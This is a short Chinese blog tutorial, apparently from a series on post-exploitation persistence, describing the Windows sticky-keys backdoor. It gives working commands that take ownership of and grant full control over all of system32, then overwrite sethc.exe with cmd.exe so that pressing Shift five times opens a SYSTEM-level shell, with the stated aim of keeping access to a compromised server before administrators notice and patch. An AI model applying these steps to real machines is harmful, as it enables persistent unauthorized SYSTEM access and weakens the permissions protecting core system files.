操作系统权限维持（一）之Windows系统-粘贴键后门

怰月

已于 2023-03-23 09:47:11 修改

阅读量696

点赞数 2

分类专栏：操作系统权限维持文章标签： windows 安全网络网络安全

于 2023-03-23 09:45:47 首次发布

本文链接：https://blog.csdn.net/qq_64973687/article/details/129724040

版权

16 篇文章 14 订阅

订阅专栏

文章介绍了在获取服务器权限后，测试人员如何利用粘滞键漏洞实现权限持久化。通过替换Windows系统中的Sethc.exe程序，可以在按下5次Shift键时以system权限运行cmd.exe，达到维持访问的目的。此过程涉及修改文件权限和利用系统功能创建后门。

摘要由CSDN通过智能技术生成

在获取服务器权限后，为了防止服务器管理员发现和修补漏洞而导致对服务器权限的丢失，测试人员往往需要采取一些手段来实现对目标服务器的持久化访问。

权限持久化（权限维持）技术就是包括任何可以被测试人员用来在系统重启、更改用凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。

Web入侵流程
在这里插入图片描述

粘贴键后门

粘滞键漏洞，在Windows系统下连续按5下SHIFT键，可以启动系统的粘滞键功能，其进程名为Sethc.exe，应用程序在Windows\system32下

在这里插入图片描述

通过将其它应用程序（如：cmd.exe、或木马、病毒）将Sethc.exe这个可执行程序进行替换。当再次连续按5次SHIFT键，就会以system权限运行替换后的应用程序

1、复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

在这里插入图片描述

当我们去修改粘贴键作为后门时，Windows系统会以权限不够为由拒绝我们的操作，这时就需要我们去修改文件命令

2、需要更改文件权限，如下命令

takeown /f c:\windows\system32\*.* /a /r /d y 
cacls c:\windows\system32\*.* /T /E /G administrators:F 
两条命令均可

在这里插入图片描述

3、在命令运行完后，在执行第一条命令

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

在这里插入图片描述

这时我们的权限是够的

4、现在我们连按shift键五下后将弹出一个system权限的cmd窗口，作为后门

在这里插入图片描述